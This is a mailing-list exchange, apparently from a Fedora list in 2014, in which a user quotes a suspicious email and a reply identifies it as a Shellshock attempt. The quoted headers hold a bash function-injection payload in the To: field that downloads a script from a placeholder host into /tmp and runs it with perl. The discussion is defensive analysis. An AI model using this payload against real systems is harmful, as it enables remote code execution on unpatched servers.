On 7 October 2014 00:07, Bill Oliver <vendor@xxxxxxxxxxxxx> wrote:
>
> First, I apologize for this not being fedora-specific, but I just got
> the oddest email. It looks like an intrusion attempt, trying to get
> sendmail to execute a perl script. Is anybody familiar with this
> particular pattern?
>
> The email is below.
>
>
> Return-Path: <MAILER-DAEMON@xxxxxxxxxxxxx>
> Received: from incenclick.com (incenclick.com [184.95.45.61] (may be
> forged))
> by hope.billoblog.com (8.14.4/8.14.4) with SMTP id s96FKVOY029890
> for <nobody>; Mon, 6 Oct 2014 15:20:31 GMT
> Resent-Message-Id: <201410061520.s96FKVOY029890@xxxxxxxxxxxxxxxxxx>
> X-Authentication-Warning: hope.billoblog.com: incenclick.com
> [184.95.45.61] (may be forged) didn't use HELO protocol
> To:() {
> :;;};wget.http://YOUREXPLOITHERE.-O/tmp/bb;perl/tmp/bb@xxxxxxxxxxxxxxxxxx;;
etc.
If you had to guess what exploit of the month was going to be what
would you say ;)
This is someone hoping there's a mail client or server somewhere (and
maybe there is) that will load those headers into environment
variables and shell out, causing unpatched bash to download and run a
script.
--
imalone
http://ibmalone.blogspot.co.uk
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